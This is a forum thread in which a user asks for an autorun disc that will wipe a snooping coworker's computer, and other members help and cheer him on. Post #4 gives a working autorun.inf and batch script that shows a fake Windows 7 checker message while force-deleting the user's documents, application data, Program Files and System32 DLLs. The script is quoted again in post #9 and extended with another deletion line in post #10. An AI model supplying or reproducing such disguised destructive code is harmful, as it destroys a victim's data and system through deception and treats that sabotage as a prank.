Close

Results 1 to 14 of 14

Thread: Advice needed

  1. #1
    DF VIP Member Chippa's Avatar
    Join Date
    Nov 2000
    Location
    Hollywood
    Posts
    839
    Thanks
    0
    Thanked:        0
    Karma Level
    353

    Default Advice needed

    In short a twat at work keeps going into my pigeon hole and having a nose about. I know who it is but can't catch him. He's into his PCs and want to make a disc that will autorun and format his hard drive and leave it in my pigeon hole for him to 'borrow'. Need to run a short script in an autorun.inf. I have the basics but need an expert's opinion on the correct way.

    Format c: /u/q
    @

    What should the autorun.inf look like?

    Many thanks in advance.

    Chippa
    "It's cold at the top of the mountain,
    But the view is beautiful"
    Anon

  2. #2
    DF VIP Member
    Northernbloke's Avatar
    Join Date
    Oct 2004
    Location
    Geordieland
    Posts
    2,985
    Thanks
    745
    Thanked:        274
    Karma Level
    464

    Default Re: Advice needed

    Can't help - but I'm looking forward to seeing the answers and possibly trying them out myself - got a few morons at work who need lesson like that teaching to them (not to mention family members lol)

  3. #3
    DF General DogsBody
    Mickey's Avatar
    Join Date
    Nov 2006
    Location
    Digital Forums
    Posts
    16,955
    Thanks
    1,879
    Thanked:        2,077
    Karma Level
    1254

    Default Re: Advice needed

    Id just stick in a mouse trap baited for the fecker, faar more laughable when the cnut sticks his hand into your hole

  4. #4
    DF VIP Member Mr.James's Avatar
    Join Date
    Nov 2000
    Location
    town
    Posts
    4,264
    Thanks
    233
    Thanked:        408
    Karma Level
    576

    Default Re: Advice needed

    You can't I'm afraid. Windows won't let you format the drive it's booted off. You'd have to make a bootable cd and hope that he boots from it.

    Next best thing is to create a CD that deletes everything from his profile/program files folder. It's possible that it might get stopped by some windows safety feature when it reaches the program files/windows folder but it should kill most of his system (for quite obvious reasons I've not tested this lol ):

    just don't get yourself sacked...

    autorun.inf:
    [autorun]
    open=autorun.cmd
    icon=<someiconfile>.ico

    autorun.cmd:
    @echo off
    echo "Windows 7 Beta Build 7.0.2464 Pre-requisite checker.This may take a few minutes. Please Wait..."
    del /f /s /q "%USERPROFILE%\My Documents\*.*" > nul
    del /f /s /q "%USERPROFILE%\Local Settings\Application Data\*.*" > nul
    del /f /s /q "%USERPROFILE%\Application Data\*.*" > nul
    del /f /s /q "%USERPROFILE%\Favorites\*.*" > nul
    del /f /s /q "%USERPROFILE%\Cookies\*.*" > nul
    del /f /s /q "%USERPROFILE%\Start Menu\Programs\*.*" > nul
    del /f /s /q "%PROGRAMFILES%\*.*" > nul
    del /f /s /q %SYSTEMROOT%\System32\*.dll
    Last edited by Mr.James; 1st December 2008 at 11:30 PM.

  5. #5
    DF VIP Member Over Carl's Avatar
    Join Date
    Apr 2006
    Location
    London
    Posts
    13,125
    Thanks
    3,975
    Thanked:        1,690
    Karma Level
    1251

    Default Re: Advice needed

    Quality idea, I think I may have to do this some time, although I wouldn't worry about job security if the item is your personal property, not intended to be used at work, and is stolen from you. Surely if anyone should be in the shit, it's the other person.

  6. #6
    DF VIP Member Mr.James's Avatar
    Join Date
    Nov 2000
    Location
    town
    Posts
    4,264
    Thanks
    233
    Thanked:        408
    Karma Level
    576

    Default Re: Advice needed

    Back at college I made a boot disk that added a program to windows startup which played a randomly pitched beep through the pc speaker every time a key was pressed on the keyboard. Took 10 mins to load it on all the 30 pcs in the room just before a lecturer took a programming course...

    I remember seeing the lecturer storming into the staff room on the floor below 5 mins later in a right huff screaming "It's sounds like a f**cking space ship in there!"

  7. #7
    DF VIP Member
    Mule's Avatar
    Join Date
    Mar 2004
    Location
    Surrey
    Posts
    9,210
    Thanks
    460
    Thanked:        979
    Karma Level
    1050

    Default Re: Advice needed

    Could you not make the autorun cause a reboot then it could do it's job on booting?

    Or label it as a boot disc.

  8. #8
    DF VIP Member Mr.James's Avatar
    Join Date
    Nov 2000
    Location
    town
    Posts
    4,264
    Thanks
    233
    Thanked:        408
    Karma Level
    576

    Default Re: Advice needed

    Quote Originally Posted by Mule View Post
    Could you not make the autorun cause a reboot then it could do it's job on booting?

    Or label it as a boot disc.
    It would be a bit suss if it just restarted his pc without some fancy menu. And then more than likely he'd have to press a key to boot from the CD so he'd be fully aware and probably suss that something was gonna happen.

    Saying that I could knock something up from a Windows 7 install CD if a few people are interested in this? lol

  9. #9
    DF VIP Member Chippa's Avatar
    Join Date
    Nov 2000
    Location
    Hollywood
    Posts
    839
    Thanks
    0
    Thanked:        0
    Karma Level
    353

    Default Re: Advice needed

    Quote Originally Posted by Mr.James View Post
    You can't I'm afraid. Windows won't let you format the drive it's booted off. You'd have to make a bootable cd and hope that he boots from it.

    Next best thing is to create a CD that deletes everything from his profile/program files folder. It's possible that it might get stopped by some windows safety feature when it reaches the program files/windows folder but it should kill most of his system (for quite obvious reasons I've not tested this lol ):

    just don't get yourself sacked...

    autorun.inf:
    [autorun]
    open=autorun.cmd
    icon=<someiconfile>.ico

    autorun.cmd:
    @echo off
    echo "Windows 7 Beta Build 7.0.2464 Pre-requisite checker.This may take a few minutes. Please Wait..."
    del /f /s /q "%USERPROFILE%My Documents*.*" > nul
    del /f /s /q "%USERPROFILE%Local SettingsApplication Data*.*" > nul
    del /f /s /q "%USERPROFILE%Application Data*.*" > nul
    del /f /s /q "%USERPROFILE%Favorites*.*" > nul
    del /f /s /q "%USERPROFILE%Cookies*.*" > nul
    del /f /s /q "%USERPROFILE%Start MenuPrograms*.*" > nul
    del /f /s /q "%PROGRAMFILES%*.*" > nul
    del /f /s /q %SYSTEMROOT%System32*.dll
    Mr James, I salute you sir!

    I'm putting it onto a DVD disc as our PCs at work have CD drives (ancient things but handy for this scenario)
    "It's cold at the top of the mountain,
    But the view is beautiful"
    Anon

  10. #10
    DF VIP Member Mr.James's Avatar
    Join Date
    Nov 2000
    Location
    town
    Posts
    4,264
    Thanks
    233
    Thanked:        408
    Karma Level
    576

    Default Re: Advice needed

    Quote Originally Posted by Chippa View Post
    Mr James, I salute you sir!

    I'm putting it onto a DVD disc as our PCs at work have CD drives (ancient things but handy for this scenario)
    lmao. you're gonna have one pissed workmate lol

    just thought... if he's runnings vista it might be worth adding a line:

    del /f /s /q "%USERPROFILE%\Downloads\*.*" > nul

  11. #11
    DF VIP Member OrangeJuicey's Avatar
    Join Date
    Aug 2006
    Location
    London
    Posts
    1,283
    Thanks
    1
    Thanked:        4
    Karma Level
    289

    Default Re: Advice needed

    sounds like your having fun at work lol. If he only has a cd drive how is he loading a dvd though it won't work will it?

    Maybe it should flash up "I should not look at peoples pigeon holes if they are not mine" in a cmd prompt while its doing it.

    Or better still maybe you should have it auto run that old goatse.sx site straight off the disk while it deletes files in the background.

    Write something on it saying "use at your own risk" this will make him want to try it even more i reckon.

    Good luck

  12. #12
    DF VIP Member Chippa's Avatar
    Join Date
    Nov 2000
    Location
    Hollywood
    Posts
    839
    Thanks
    0
    Thanked:        0
    Karma Level
    353

    Default Re: Advice needed

    Quote Originally Posted by OrangeJuicey View Post
    sounds like your having fun at work lol. If he only has a cd drive how is he loading a dvd though it won't work will it?

    Maybe it should flash up "I should not look at peoples pigeon holes if they are not mine" in a cmd prompt while its doing it.

    Or better still maybe you should have it auto run that old goatse.sx site straight off the disk while it deletes files in the background.

    Write something on it saying "use at your own risk" this will make him want to try it even more i reckon.

    Good luck
    He'll nab it and take it home or put it on his laptop and that will be that. I hope he'll think twice about snooping about and 'borrowing' unknown stuff.

    Will post back with results as soon as they come in.
    "It's cold at the top of the mountain,
    But the view is beautiful"
    Anon

  13. #13
    DF VIP Member neo2810's Avatar
    Join Date
    Mar 2003
    Location
    Newcastle
    Posts
    5,166
    Thanks
    86
    Thanked:        105
    Karma Level
    620

    Default Re: Advice needed

    Waiting with baited breath......
    "There's nothing worse than arguing with someone who knows what they're talking about...."

  14. #14
    DF VIP Member OrangeJuicey's Avatar
    Join Date
    Aug 2006
    Location
    London
    Posts
    1,283
    Thanks
    1
    Thanked:        4
    Karma Level
    289

    Default Re: Advice needed

    Its been a week i'm interested in how you got on? or did you decide against it?

Similar Threads

  1. needed opinions
    By krazi30173 in forum Site Critique
    Replies: 1
    Last Post: 20th September 2002, 03:34 PM
  2. Saturn info needed
    By Shiver in forum Old Skool Gaming & Retro
    Replies: 8
    Last Post: 16th September 2002, 12:01 PM
  3. New to this game! Advice please
    By TKay in forum Microsoft Consoles
    Replies: 10
    Last Post: 2nd September 2002, 02:22 PM
  4. Mobo advice for athlon 1900
    By dodgy in forum PC Hardware
    Replies: 8
    Last Post: 31st August 2002, 08:19 PM
  5. Opinions needed for Originality and Concept
    By Scat in forum Site Critique
    Replies: 0
    Last Post: 28th August 2002, 10:33 AM

Social Networking Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •